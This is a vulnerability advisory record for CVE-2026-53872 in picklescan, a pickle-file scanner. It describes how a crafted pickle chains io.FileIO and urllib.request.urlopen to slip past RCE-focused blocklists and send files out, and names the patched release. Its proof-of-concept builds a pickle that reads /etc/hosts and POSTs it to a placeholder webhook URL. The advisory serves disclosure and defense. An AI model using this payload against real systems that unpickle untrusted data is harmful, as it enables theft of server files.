---
id: CVE-2026-53872
aliases:
  - GHSA-9726-w42j-3qjr
  - PYSEC-2026-1787
title: 'picklescan has Arbitrary file read using `io.FileIO` '
summary: 'picklescan has Arbitrary file read using `io.FileIO` '
severity: high
cvss: 7.5
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N'
vendor: picklescan
product: picklescan
ecosystem: pip
affected:
  - picklescan < 0.0.35
patched:
  - picklescan 0.0.35
published: '2026-01-08'
updated: '2026-07-07'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-9726-w42j-3qjr'
references:
  - url: >-
      https://github.com/mmaitre314/picklescan/security/advisories/GHSA-9726-w42j-3qjr
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-53872'
  - url: 'https://github.com/mmaitre314/picklescan/pull/55'
  - url: >-
      https://github.com/mmaitre314/picklescan/commit/a01c58d5dd7960db557b849817c0ab83ab111ef1
  - url: 'https://github.com/mmaitre314/picklescan'
  - url: 'https://github.com/mmaitre314/picklescan/releases/tag/v0.0.35'
  - url: >-
      https://www.vulncheck.com/advisories/picklescan-arbitrary-file-read-via-unsafe-pickle-deserialization
tags:
  - osv
  - pip
epss: 0.00509
epssPercentile: 0.42462
ingestedAt: '2026-07-08T18:25:47.770Z'
---

## Overview

### Summary
Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

### Details
The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

1. io.FileIO: Opens local files without using builtins.open.

2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

### PoC

```python
import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)
```

<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />


### Impact

- Arbitrary file read

Thanks for this library and your time. If you think `picklescan` is focused on detecting only `RCE` kind of vulnerabilities rather adding `File IO`, `Http` or any protocol based may cause lot of noise, feel free to close this issue.

## Affected packages

- `picklescan < 0.0.35`

## Remediation

Upgrade to a patched release:

- `picklescan 0.0.35`
